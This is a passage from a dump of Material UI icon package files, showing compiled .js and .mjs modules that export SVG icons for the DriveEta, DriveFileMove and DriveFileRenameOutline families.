    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01 18.57 4H5.43L3 11v9h3v-2h12v2h3v-9zM6.5 15c-.83 0-1.5-.67-1.5-1.5S5.67 12 6.5 12s1.5.67 1.5 1.5S7.33 15 6.5 15m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 10l1.5-4.5h11L19 10z\"\n}), 'DriveEtaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.12 11-.12.34V16h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"3\")], 'DriveEtaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveEtaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.12 11-.12.34V16h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 12 7.5 12s1.5.67 1.5 1.5S8.33 15 7.5 15m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 5.01C18.72 4.42 18.16 4 17.5 4h-11c-.66 0-1.21.42-1.42 1.01L3 11v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 6h10.29l1.04 3H5.81zM19 16H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"3\")], 'DriveEtaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMove.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 12v-3h-4v-4h4V8l5 5z\"\n}), 'DriveFileMove');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMove.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 12v-3h-4v-4h4V8l5 5z\"\n}), 'DriveFileMove');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16zm-8.01-9-1.41 1.41L12.16 12H8v2h4.16l-1.59 1.59L11.99 17 16 13.01z\"\n}), 'DriveFileMoveOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16zm-8.01-9-1.41 1.41L12.16 12H8v2h4.16l-1.59 1.59L11.99 17 16 13.01z\"\n}), 'DriveFileMoveOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20zm-7.84-6H8v2h4.16l-1.59 1.59L11.99 17 16 13.01 11.99 9l-1.41 1.41z\"\n}), 'DriveFileMoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20zm-7.84-6H8v2h4.16l-1.59 1.59L11.99 17 16 13.01 11.99 9l-1.41 1.41z\"\n}), 'DriveFileMoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 9.79V14H9c-.55 0-1-.45-1-1s.45-1 1-1h3v-1.79c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36\"\n}), 'DriveFileMoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 9.79V14H9c-.55 0-1-.45-1-1s.45-1 1-1h3v-1.79c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36\"\n}), 'DriveFileMoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtl.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 11-4-4 4-4v3h4v2h-4z\"\n}), 'DriveFileMoveRtl');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtl.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 11-4-4 4-4v3h4v2h-4z\"\n}), 'DriveFileMoveRtl');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-6.59-2.41L12 17l-4-4 4-4 1.41 1.41L11.83 12H16v2h-4.17z\"\n}), 'DriveFileMoveRtlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-6.59-2.41L12 17l-4-4 4-4 1.41 1.41L11.83 12H16v2h-4.17z\"\n}), 'DriveFileMoveRtlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8.85 10.15-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.32.85-.1.85.35V12h3c.55 0 1 .45 1 1s-.45 1-1 1h-3v1.79c0 .45-.54.67-.85.36\"\n}), 'DriveFileMoveRtlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8.85 10.15-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.32.85-.1.85.35V12h3c.55 0 1 .45 1 1s-.45 1-1 1h-3v1.79c0 .45-.54.67-.85.36\"\n}), 'DriveFileMoveRtlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zM12 17l-4-4 4-4v3h4v2h-4z\"\n}), 'DriveFileMoveRtlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zM12 17l-4-4 4-4v3h4v2h-4z\"\n}), 'DriveFileMoveRtlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.17 8-2-2H4v12h16V8zM16 14h-4v3l-4-4 4-4v3h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-8-1-4-4 4-4v3h4v2h-4z\"\n}, \"1\")], 'DriveFileMoveRtlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveRtlTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.17 8-2-2H4v12h16V8zM16 14h-4v3l-4-4 4-4v3h4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-8-1-4-4 4-4v3h4v2h-4z\"\n}, \"1\")], 'DriveFileMoveRtlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zM12 17v-3H8v-2h4V9l4 4z\"\n}), 'DriveFileMoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zM12 17v-3H8v-2h4V9l4 4z\"\n}), 'DriveFileMoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 14h4v3l4-4-4-4v3H8z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 7.41 9.17 6H4v12h16V8h-8.83zM12 9l4 4-4 4v-3H8v-2h4z\",\n  opacity: \".3\"\n}, \"2\")], 'DriveFileMoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileMoveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l1.41 1.41.59.59H20z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 14h4v3l4-4-4-4v3H8z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 7.41 9.17 6H4v12h16V8h-8.83zM12 9l4 4-4 4v-3H8v-2h4z\",\n  opacity: \".3\"\n}, \"2\")], 'DriveFileMoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.41 5.8 17.2 4.59c-.78-.78-2.05-.78-2.83 0l-2.68 2.68L3 15.96V20h4.04l8.74-8.74 2.63-2.63c.79-.78.79-2.05 0-2.83M6.21 18H5v-1.21l8.66-8.66 1.21 1.21zM11 20l4-4h6v4z\"\n}), 'DriveFileRenameOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.41 5.8 17.2 4.59c-.78-.78-2.05-.78-2.83 0l-2.68 2.68L3 15.96V20h4.04l8.74-8.74 2.63-2.63c.79-.78.79-2.05 0-2.83M6.21 18H5v-1.21l8.66-8.66 1.21 1.21zM11 20l4-4h6v4z\"\n}), 'DriveFileRenameOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 16-4 4h10v-4zm-2.94-8.81L3 16.25V20h3.75l9.06-9.06zM5.92 18H5v-.92l7.06-7.06.92.92zm12.79-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75z\"\n}), 'DriveFileRenameOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 16-4 4h10v-4zm-2.94-8.81L3 16.25V20h3.75l9.06-9.06zM5.92 18H5v-.92l7.06-7.06.92.92zm12.79-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75z\"\n}), 'DriveFileRenameOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 16-4 4h8c1.1 0 2-.9 2-2s-.9-2-2-2zm-2.94-8.81-8.77 8.77c-.18.18-.29.44-.29.7V19c0 .55.45 1 1 1h2.34c.27 0 .52-.11.71-.29l8.77-8.77zm6.65.85c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'DriveFileRenameOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 16-4 4h8c1.1 0 2-.9 2-2s-.9-2-2-2zm-2.94-8.81-8.77 8.77c-.18.18-.29.44-.29.7V19c0 .55.45 1 1 1h2.34c.27 0 .52-.11.71-.29l8.77-8.77zm6.65.85c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'DriveFileRenameOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 16-4 4h10v-4zm-2.94-8.81L3 16.25V20h3.75l9.06-9.06zm1.0721-1.0674 2.5386-2.5385 3.7476 3.7476-2.5385 2.5386z\"\n}), 'DriveFileRenameOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 16-4 4h10v-4zm-2.94-8.81L3 16.25V20h3.75l9.06-9.06zm1.0721-1.0674 2.5386-2.5385 3.7476 3.7476-2.5385 2.5386z\"\n}), 'DriveFileRenameOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.06 10.02 5 17.08V18h.92l7.06-7.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15 16-4 4h10v-4zm-2.94-8.81L3 16.25V20h3.75l9.06-9.06zM5.92 18H5v-.92l7.06-7.06.92.92zm12.79-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75z\"\n}, \"1\")], 'DriveFileRenameOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFileRenameOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.06 10.02 5 17.08V18h.92l7.06-7.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15 16-4 4h10v-4zm-2.94-8.81L3 16.25V20h3.75l9.06-9.06zM5.92 18H5v-.92l7.06-7.06.92.92zm12.79-9.96c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.2-.2-.45-.29-.71-.29-.25 0-.51.1-.7.29l-1.83 1.83 3.75 3.75z\"\n}, \"1\")], 'DriveFileRenameOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DriveFolderUpload.js",
